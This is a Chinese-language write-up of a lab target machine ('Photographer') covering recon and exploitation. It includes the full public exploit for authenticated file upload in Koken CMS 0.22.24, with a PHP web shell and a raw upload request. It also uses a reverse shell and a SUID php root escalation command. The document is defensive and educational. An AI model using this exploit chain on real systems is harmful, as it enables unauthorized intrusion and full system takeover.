kali：192.168.111.111

靶机：192.168.111.132

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.132

目标8000端口为koken cms

使用enum4linux枚举目标samba服务，发现共享文件夹

enum4linux -a 192.168.111.132

连接目标共享文件夹，发现两个文件

smbclient -N \\192.168.111.132\sambashare

mailsent.txt文件内容

使用[email protected] | babygirl，登录koken后台

同时该版本的koken cms存在文件上传漏洞

searchsploit koken

# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md

The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.

Steps to exploit:

1. Create a malicious PHP file with this content:

   <?php system($_GET['cmd']);?>

2. Save as "image.php.jpg"

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.

4. On Burp, rename your file to "image.php"


POST /koken/api.php?/content HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/koken/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
Content-Length: 1043
Connection: close
Cookie: PHPSESSID= [Cookie value here]

-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="name"

image.php
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunk"

0
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunks"

1
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="upload_session_start"

1594831856
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="visibility"

public
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="license"

all
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="max_download"

none
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']);?>

-----------------------------2391361183188899229525551--



5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.

漏洞利用

利用burp抓包，修改上传文件的后缀，jpg改为php即可上传

访问http://192.168.111.132:8000/storage/originals/cb/43/php-reverse-shell.php获得反弹shell

提权

查找suid权限的文件

find / -perm -u=s 2> /dev/null

提权方法：https://gtfobins.github.io/gtfobins/php/#suid

提升为root

php -r "pcntl_exec('/bin/sh', ['-p']);"

flag

原文始发于微信公众号（信安学习笔记）：【Web渗透】 Photographer靶机